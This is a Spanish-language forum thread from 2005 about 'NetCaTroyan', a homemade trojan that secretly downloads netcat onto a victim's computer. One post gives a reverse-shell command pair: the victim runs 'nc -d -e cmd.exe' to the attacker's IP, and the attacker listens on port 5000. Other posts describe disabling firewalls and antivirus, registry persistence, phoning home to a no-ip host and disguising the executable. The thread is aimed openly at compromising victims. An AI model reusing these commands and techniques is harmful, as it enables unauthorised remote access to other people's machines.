Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.

Iniciado por BeRti, 19 Abril 2005, 18:51 PM

0 Miembros y 3 Visitantes están viendo este tema.

Nosferatu

Pues el server es lo que has de mandarle a tu victima, que lo que hace es descargar sigilosemente el netcat (nc) de una web. El editor sirve para editar el server, es decir de donde quieres que se descargue el nc.exe y que comando quieres que se ejecute en la maquina objetivo. el nc (netcat) esta ahi por que es imprescindible, porque lo que tienes que hacer es poner a la escucha en tu maquina para que te llegue la shell de la victima, segun el comando que has elegido. Ejemplo:
has editado el server para que descargue netcar de http://www.dondesea.org/nc.exe    y tambien para que ejecute el comando nc -d -e cmd.exe tu.ip.tu.ip 5000      (es un ejemplo, el 5000 es el puerto)
Asique en tu maquina lo que deberias hacer es: nc -vv -l -p 5000. lo que haces con esto es dejar en escucha un puerto para que te llegue algo, que en este caso es la shell de tu victima

Lo mejor es que te leas un buen manual de netcat, y te daras cuenta de que lo unico (pero bueno) que hace el server es introducir nc en la maquina victima

Saludos!!

PD: insisto en recomendarte que leas algo sobre netcat antes de usarlo ;)
Triste zaudenean, triste zaudenean, pentsa esazu, zure lagun onenean

bigsnake

bueno sin el editor no se pode hacer nada...
a mi no me edita el arxivo ni nada d eso..... ??? ??? ???

antraXactive

#52
yo hice esto hace algo de tiempo, solo que en vez de en vb, lo hice con un bat y con haciendo un auto extrahible (sfx), ademas añade al registro las claves necesarias para que el firewall de windows no salte y quiero hacer que desactive los antivirus panda y norton... y si me dicen de mas antivirus que lo detecten como una herramienta mala malota pues también, pero bueno todo esto cuando tenga algo de tiempo que ahora ando muy muy liado.

y una preguntica, cuando el usuario apaga su pc y lo vuvele a encender este intentará conectar con nuestro pc para darnos la shell, pero imaginemos que por cualquier cosa nosotros tenemos apagada nuestra computadora, netcat seguiria intentandolo hasta conectar? no se, o si no tiene router y necesita conectar esta claro que hasta que no conecte el netcat no encontrara nuestra ip, asi que no funcionaría? yo en mi bat tenia ese problema, pero en mi mente ya ha circulado la respuesta, es bien sencilla, lo que aré es que el netcat intente conectar con nosotros a cada hora, por ejemplo, la víctima enciende el PC, pues a las 00:00 intentará conectar, después a las 01:00, 02:00, 03:00, etc


Salu2

yeikos

Cita de: - n0sEcReT - en  7 Agosto 2005, 20:16 PM
Hola amigos , el programa esta lindo , osea mejor dicho la idea esta buena ;D , pero supongamos que la victima no tiene la runtime de VB6  MSVBVM60.DLL , el programa no andaria .Y se acabo todo  :D

Salu2 ! ;)


A partir de Windows 98 para arriba (excluyendo este) todos los demas SO contienen esa libreria y no supone un problema a gran escala.

PD: Yo he programado mi propio programa (Intrusion Net Cat) que desactiva el firewall de windows, envia una notificación a xxxx.no-ip.info para saber la IP de la victima, se autocopia a system32 y se inicia desde el registro, luego baja el NC de un servidor FTP (sin usar winsock o INET) y lanza la shell, todo esto sin que la victima vea nada. El programa ocupa 20kb, está en fase beta y a la espera de la construcción del edit server.

SeniorX

try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}

Precaución: La programacion puede producir adiccion

yeikos

Necesito beta testers para comprobar un correcto funcionamientom, lo he probado en localhost con Windows XP y con un amigo (internet) con Windows XP, quiero hacer alguna comprovación más en WinXP y alguna en Windows 98/ME. Interesados que me agreguen: yeikos@hotmail.com
Si me agregan no es para preguntarme cuanto falta, sino para ayudar, gracias  ;).

SeniorX

try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}

Precaución: La programacion puede producir adiccion

Oprah

Buenas Gente
Baje el archivo y se entiende como funciona, no se si funciona, pero es simple, trabaja como un troyano creo yo, tennes que mandarle el server y cuando lo ejecute la orden es bajar de una web el nc configurado para q se ejecute solo y haga estas opciones q le pedimos al editar server.exe
Si bien la idea es buena, el problema siempre sigue estando, mandar un archivo .exe es sospechoso y aunn no encontre quien me diga como mandar una foto, una simple .jpg que al abrirla instale el programa.
Ademas, si hay q enviar un exe, para eso enviamos el nc.exe ya editado y con el nombre cambiado.
Nos esta faltando una forma no sospechoza de meter el nc en una maquina.

SeniorX

porque le dan tanta vuelta al tema si hasta la persona mas tonta tiene un firewall o un antivirus, o las 2.
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}

Precaución: La programacion puede producir adiccion

yeikos

Cita de: SeniorX en  3 Octubre 2005, 22:36 PM
porque le dan tanta vuelta al tema si hasta la persona mas tonta tiene un firewall o un antivirus, o las 2.

Eso es problema para el INC 2.0 :) .